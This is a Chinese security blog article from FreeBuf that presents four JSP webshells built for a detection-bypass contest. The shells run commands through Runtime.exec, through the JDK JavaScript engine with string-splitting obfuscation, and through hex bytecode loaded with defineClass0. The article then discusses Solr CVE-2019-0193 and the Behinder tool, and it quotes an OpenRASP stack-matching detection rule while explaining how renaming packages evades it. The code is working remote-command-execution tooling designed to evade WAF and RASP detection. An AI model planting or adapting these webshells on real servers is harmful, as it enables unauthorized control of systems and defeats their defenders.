freeBuf
主站

分类

云安全 AI安全 开发安全 终端安全 数据安全 Web安全 基础安全 企业安全 关基安全 移动安全 系统安全 其他安全

特色

热点 工具 漏洞 人物志 活动 安全招聘 攻防演练 政策法规

点我创作

试试在FreeBuf发布您的第一篇文章 让安全圈留下您的足迹
我知道了

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

探索java动态加载特性实现jsp webshell绕过
2021-03-17 18:14:59

整体介绍

共四个jsp webshell 当时用来参加青藤webshell bypass 活动。主要思路是在静态中寻找动态特性:jdk内置javascript引擎class字节码加载

0.jsp webshell裸奔

<%@ page import="java.util.*,java.io.*"%>
<HTML><BODY>
<FORM METHOD="GET" NAME="myform" ACTION="">
<INPUT TYPE="text" NAME="cmd">
<INPUT TYPE="submit" VALUE="Send">
</FORM>
<pre>
<%
if (request.getParameter("cmd") != null) {
        out.println("Command: " + request.getParameter("cmd") + "<br>");
        Process p = Runtime.getRuntime().exec(request.getParameter("cmd"));
        OutputStream os = p.getOutputStream();
        InputStream in = p.getInputStream();
        DataInputStream dis = new DataInputStream(in);
        String disr = dis.readLine();
        while ( disr != null ) {
                out.println(disr);
                disr = dis.readLine();
                }
        }
%>
</pre>
</BODY></HTML>

最直接的写法直接over。另外发现本机PC windows defender也有把0.jsp查杀了。

image

1.jsp 借助JavaScript引擎开始第一次动态化

<%@ page import="java.util.*,java.io.*,javax.script.*,java.net.*"%>
<HTML><BODY>
<%
if (request.getParameter("cmd") != null) {
        String n = request.getParameter("cmd");
  try {
        n = java.net.URLDecoder.decode(n, "UTF-8");
			} catch (Exception e) {
					  e.printStackTrace();
			}
        String j = System.getProperty("java.version");
        ScriptEngineManager engineManager = new ScriptEngineManager();
        ScriptEngine engine = null;
        boolean b = j.indexOf("1.7") == 0 ? true : false;
        engine = engineManager.getEngineByName("js");
        String m = b ? "(function sum() {importPackage(java.util);importPackage(java.lang);Runtime.getRuntime().exec(a); return a; })(a)" :
          "load(\"nashorn:mozilla_compat.js\");(function sum() {importPackage(java.util);importPackage(java.lang);Runtime.getRuntime().exec(a); return a; })(a)";
        Bindings bindings = engine.createBindings();
        bindings.put("a", n);
        engine.setBindings(bindings, ScriptContext.GLOBAL_SCOPE);
        engine.eval(m, bindings);
  }
%>
</BODY></HTML>

jdk内置javascript引擎,其中从jdk1.6默认实现是:Rhino jdk,jdk 1.8之后是:nashorn。1.jsp有对jdk不同版本做了适配。

2.jsp 基于动态化后的变形

<%@ page import="java.util.*,java.io.*,javax.script.*,java.net.*"%>
<HTML><BODY>
<%
if (request.getParameter("cmd") != null) {
        String n = request.getParameter("cmd");
  try {
        n = java.net.URLDecoder.decode(n, "UTF-8");
			} catch (Exception e) {
					  e.printStackTrace();
			}
        String j = System.getProperty("java.version");
        ScriptEngineManager engineManager = new ScriptEngineManager();
        ScriptEngine engine = null;
        boolean b = j.indexOf("1.7") == 0 ? true : false;
        engine = engineManager.getEngineByName("js");
        String m = b ? "(function sum() {importPackage(java.util);importPackage(java.lang);{$0}time{$1}Run{$2}().ex{$3}(a); return a; })(a)"
                             .replace("{$0}" ,"Run")
                             .replace("{$1}",".get")
                             .replace("{$2}","time")
                             .replace("{$3}","ec"):
          "load(\"nashorn:mozilla_compat.js\");(function sum() {importPackage(java.util);importPackage(java.lang);Run{$0}ntime().e{$1}c(a); return a; })(a)"
                .replace("{$0}","time.getRu")
                .replace("{$1}","xe");

        Bindings bindings = engine.createBindings();
        bindings.put("a", n);
        engine.setBindings(bindings, ScriptContext.GLOBAL_SCOPE);
        engine.eval(m, bindings);
  }
%>
</BODY></HTML>

1.jsp中只是使用了js引擎,但是还没充分发挥动态脚本混淆和变形的能力,2.jsp尝试做简单的替换变形。我们知道xss的防护对正则检测的挑战是很大的,个人的感受是xss经常伴随着html和JavaScript的混合,并且JavaScript的变化多端容易混淆带来的进一步的检测难度,这里我们实现了类似的思路:java 与JavaScript的混合,JavaScript的动态多变能力依然可以发力,所以无论是正则还是静态语法分析的检测方式应该都会带来一些障碍。

3.jsp 字节码动态加载

<%@ page import="java.util.*,java.io.*,javax.script.*,java.net.*"%>
<%@ page import="java.lang.reflect.Method" %>
<HTML><BODY>
<%

    if (request.getParameter("cmd") != null) {
        String n = request.getParameter("cmd");
        try {
            n = java.net.URLDecoder.decode(n, "UTF-8");
        } catch (Exception e) {
            e.printStackTrace();
        }

        String regexSeparator = ":";
        String[] octets = hex.split(regexSeparator);
        byte[] data = new byte[octets.length];

        for (int i = 0; i < octets.length; i++) {
            if (octets[i].length() > 2) {
                throw new NumberFormatException("Invalid octet length");
            }
            data[i] = Integer.valueOf(octets[i], 16).byteValue();
        }

        L l = new L();
        l.defineClass0("A", data);
        Class<?> classA = l.loadClass("A");
        Method m = classA.getDeclaredMethod("F", String.class);
        m.invoke(null, n);
    }
%>
</BODY></HTML>

3.jsp 是基于defineClass0 加载字节码来bypass。当时的思路也是想历次的入侵黑客喜欢用base64做些绕过,java可以动态加载字节码,字节码十六进制传递很难被正则waf抓住。后面在研究 ”冰蟹“ 的时候看到也用了defineclass方式。

内置JavaScript引擎带来的脆弱

JEP提案,开发者 与安全三者的感想

jdk中是否要内置JavaScript引擎值得商榷,的确java开发者有比较强的 动态脚本 的需求,比如我自己做些规则引擎,配置系统的时候常用到这样的特性。这样的需求groovy是个很好的榜样,由第三方jar包提供。现实情况下内置的javascript引擎性可能不满足应用需求,比如jdk从1.8将实现换成nashorn,到了jdk15提案中又有人提议替换掉nashorn。还有在自己研究百度openrasp的时候,可以看到最早期版本java对应的规则引擎是由jdk内置提供的,而到最后还是因为性能问题切换到V8引擎。

solr配置脚本RCE

另记一次solr CVE-2019-0193 远程代码执行漏洞,记得当初这个0day爆出的时候乙方的poc文章对payload打了马赛克,结合官方文档已经猜到是javascript动态配置引起,立马验证确实如此。此处有“default”,脆弱性立马显现。

image

一句话javascript引擎哪家强有由用户自己决定吧

对比其他webshell工具

在写完上面的几个jsp的webshell的时候,和部门做渗透同事交流他提到过一个“冰蟹”。以前对webshell工具的理解上更多的关注自动化,方便,比如“中国菜刀”。但是“冰蟹”不同,他借用了协议交互会话的逻辑去增强bypass能力,开阔了思路值得借鉴。

RASP能做些什么?

以百度rasp为例,针对冰蟹,javascript动态脚本的webshell如何去匹配呢?

function validate_stack_java(stacks) {
    var known    = {
        'com.thoughtworks.xstream.XStream.unmarshal':                                   "Using xstream library",
        'java.beans.XMLDecoder.readObject':                                             "Using WebLogic XMLDecoder library",
        'org.apache.commons.collections4.functors.InvokerTransformer.transform':        "Using Transformer library (v4)",
        'org.apache.commons.collections.functors.InvokerTransformer.transform':         "Using Transformer library",
        'org.apache.commons.collections.functors.ChainedTransformer.transform':         "Using Transformer library",
        'org.jolokia.jsr160.Jsr160RequestDispatcher.dispatchRequest':                   "Using JNDI library (JSR 160)",
        'com.sun.jndi.rmi.registry.RegistryContext.lookup':                             "Using JNDI registry service",
        'org.apache.xbean.propertyeditor.JndiConverter':                                "Using JNDI binding class",
        'com.ibatis.sqlmap.engine.transaction.jta.JtaTransactionConfig':                "Using JTA transaction manager",
        'com.sun.jndi.url.ldap.ldapURLContext.lookup':                                  "Using LDAP factory service",
        'com.alibaba.fastjson.JSON.parseObject':                                        "Using fastjson library",
        'org.springframework.expression.spel.support.ReflectiveMethodExecutor.execute': "Using SpEL expressions",
        'freemarker.template.utility.Execute.exec':                                     "Using FreeMarker template",
        'org.jboss.el.util.ReflectionUtil.invokeMethod':                                "Using JBoss EL method",
        'org.codehaus.groovy.runtime.ProcessGroovyMethods.execute':                     "Using Groovy library",
        'bsh.Reflect.invokeMethod':                                                     "Using BeanShell library",
        'jdk.scripting.nashorn/jdk.nashorn.internal.runtime.ScriptFunction.invoke':     "Using Nashorn engine",
        'org.apache.shiro.io.DefaultSerializer.deserialize':                            "Using Shiro framework (DefaultSerializer)"
    }
 
    var userCode = false, reachedInvoke = false, i = 0, message = undefined
 
    // v1.1.1 要求在堆栈里过滤 com.baidu.openrasp 相关的类,因为没有实现正确而产生了多余的反射堆栈,这里需要兼容下防止误报
    // v1.1.2 修复了这个问题,即堆栈顶部为命令执行的方法
    if (stacks.length > 3
        && stacks[0].startsWith('sun.reflect.GeneratedMethodAccessor')
        && stacks[1] == 'sun.reflect.GeneratedMethodAccessorImpl.invoke'
        && stacks[2] == 'java.lang.reflect.Method.invoke')
    {
        i = 3
    }
 
    for (; i < stacks.length; i ++) {
        var method = stacks[i]
 
        // 检查反射调用 -> 命令执行之间,是否包含用户代码
        if (! reachedInvoke) {
            if (method == 'java.lang.reflect.Method.invoke') {
                reachedInvoke = true
            }
 
            // 用户代码,即非 JDK、com.baidu.openrasp 相关的函数
            if (! method.startsWith('java.')
                && !method.startsWith('sun.')
                && !method.startsWith('com.sun.')
                && !method.startsWith('com.baidu.openrasp.'))
            {
                userCode = true
            }
        }
 
        if (method.startsWith('ysoserial.Pwner')) {
            message = "Using YsoSerial tool"
            break
        }
 
        if (method.startsWith('net.rebeyond.behinder')) {
            message = "Using BeHinder defineClass webshell"
            break
        }
 
        if (method.startsWith('com.fasterxml.jackson.databind.')) {
            message = "Using Jackson deserialze method"
            break
        }
 
        // 对于如下类型的反射调用:
        // 1. 仅当命令直接来自反射调用才拦截
        // 2. 如果某个类是反射生成,这个类再主动执行命令,则忽略
        if (! userCode) {
            if (method == 'ognl.OgnlRuntime.invokeMethod') {
                message = "Using OGNL library"
                break
            }  else if (method == 'java.lang.reflect.Method.invoke') {
                message = "Unknown vulnerability detected"
            }
        }
 
        if (known[method]) {
            message = known[method]
        }
    }
    return message
}

我们可以看到rasp会hook住java stacks信息,然后去和已知的黑名单库去匹配,比如上面提到的 javascript引擎手法(关键字nashorn),冰蟹(关键字behinder)。不得不说rasp这种以调用栈作为上下文检测的更加精准,但是软件的生命周期是迭代的,对抗的手法也是升级的。

比如javascript引擎随着jdk版本的迭代而变化,策略脚本中缺失了jdk 1.8 之前Rhino方式 。对于冰蟹关键字”behinder“匹配能够防住工具小子,尽管冰蟹作者没有公布源码,但是拟向这类工具更改包名都不是难事,从而逃脱rasp的检查。

# web安全 # 木马 # 网络安全技术
免责声明
1.一般免责声明:本文所提供的技术信息仅供参考,不构成任何专业建议。读者应根据自身情况谨慎使用且应遵守《中华人民共和国网络安全法》,作者及发布平台不对因使用本文信息而导致的任何直接或间接责任或损失负责。
2. 适用性声明:文中技术内容可能不适用于所有情况或系统,在实际应用前请充分测试和评估。若因使用不当造成的任何问题,相关方不承担责任。
3. 更新声明:技术发展迅速,文章内容可能存在滞后性。读者需自行判断信息的时效性,因依据过时内容产生的后果,作者及发布平台不承担责任。
本文为 独立观点,未经授权禁止转载。
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
  • 0 文章数
  • 0 关注者
文章目录